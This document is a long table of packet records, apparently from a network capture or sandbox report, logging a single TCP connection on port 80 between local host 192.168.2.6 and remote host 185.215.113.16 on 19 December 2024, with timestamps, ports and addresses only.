Dec 19, 2024 08:46:32.266820908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.267035007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.267115116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.268080950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.268093109 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.269174099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.286865950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.287604094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.287713051 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.289237976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.290754080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.290765047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.290831089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.293052912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.293066025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.293144941 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.294621944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.294691086 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.295381069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.324702024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.324779034 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.324835062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.327419996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.327476978 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.327580929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.327975035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.328052998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.328326941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.329004049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.329200983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.329868078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.329951048 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.330614090 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.330897093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.330909014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.330975056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.331916094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.331928015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.332216978 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.332840919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.333017111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.333030939 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.333807945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.333996058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.334847927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.334860086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.334873915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.334907055 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.335763931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.335964918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.336075068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.347870111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.347878933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.347966909 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.381716967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.381855011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.381932974 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.382181883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.382534027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.382644892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.383161068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.383341074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.383425951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.384126902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.384417057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.384963989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.385097027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.385448933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.385461092 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.386213064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.386390924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.386466026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.386596918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.387378931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.387540102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.387571096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.388350964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.388417959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.388575077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.389374971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.389542103 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.389580965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.390369892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.390526056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.391293049 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.391298056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.391484976 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.391510963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.392254114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.392388105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.392751932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.404829025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.404897928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.405136108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.405450106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.406794071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.406796932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.406971931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.407027960 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.407325983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.407691956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.407803059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.408278942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.408534050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.408595085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.409235954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.449292898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.449496031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.449790955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.449908972 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.451112986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.451245070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.451334000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.451452971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.451664925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.452306986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.452512980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.452574968 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.453279018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.453648090 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.454180002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.454611063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.454682112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.454796076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.455602884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.456091881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.456197977 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.456579924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.456768990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.457551956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.457653999 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.458297014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.458626032 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.458638906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.458750010 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.459578037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.459768057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.460469007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.460540056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.479043007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.479054928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.479123116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.506403923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.506558895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.506795883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.506993055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.507237911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.507814884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.507889032 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.508027077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.508131027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.508776903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.509099007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.509418964 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.509474993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.510147095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.510292053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.511039972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.511126041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.511377096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.512053967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.512242079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.513078928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.513087988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.513174057 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.513207912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.514106989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.514245033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.514336109 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.515005112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.515202999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.515964985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.516042948 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.516135931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.516962051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.517086029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.517189980 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.529556036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.529710054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.529972076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.530111074 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.531527996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.531687975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.532047987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.532063007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.532160997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.532160997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.533011913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.533204079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.533277035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.533899069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.573776960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.573942900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.573986053 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.574254036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.575335979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.576009989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.576220036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.576330900 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.576533079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.576920033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.576972008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.577496052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.577636957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.578212023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.578340054 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.578762054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.579226971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.579369068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.579442978 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.580174923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.580401897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.580470085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.581146955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.581336975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.581434965 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.582150936 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.582335949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.582990885 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.583133936 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.583321095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.583395004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.584121943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.584351063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.585161924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.585227966 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.585262060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.585367918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.637459040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.637573004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.638031006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.638185978 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.638559103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.639324903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.639461040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.639499903 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.639588118 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.639991045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.640305042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.640407085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.640907049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.641544104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.641801119 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.642170906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.642743111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.643078089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.643091917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.643198013 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.644073009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.644399881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.644599915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.645009041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.645479918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.646226883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.647557974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.647572994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.647641897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.648051977 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.648386955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.648401022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.648458004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.649023056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.654150963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.654475927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.654608011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.654886007 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.656161070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.656280994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.656634092 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.656713009 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.656996965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.657447100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.658894062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.658907890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.658982038 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.661230087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.661246061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.661314964 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.698685884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.698815107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.698889971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.699071884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.700737000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.700896978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.700923920 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.701255083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.701343060 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.701570988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.702317953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.702532053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.702794075 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.703149080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.703228951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.703418970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.704144001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.704366922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.705127001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.705189943 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.705296040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.706120968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.706304073 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.706542015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.707123041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.707274914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.708067894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.708143950 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.708265066 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.709052086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.709247112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.709336042 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.710017920 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.711580038 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.761575937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.761682987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.762038946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.762124062 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.762233019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.762514114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.762556076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.763107061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.763252974 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.763382912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.764101982 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.764233112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.764272928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.765219927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.765295982 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.765393019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.766037941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.766129017 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.766165972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.767016888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.767087936 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.767179012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.767937899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.768032074 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.768176079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.768996000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.769094944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.769248009 CET	80	49764	185.215.113.16	192.168.2.6
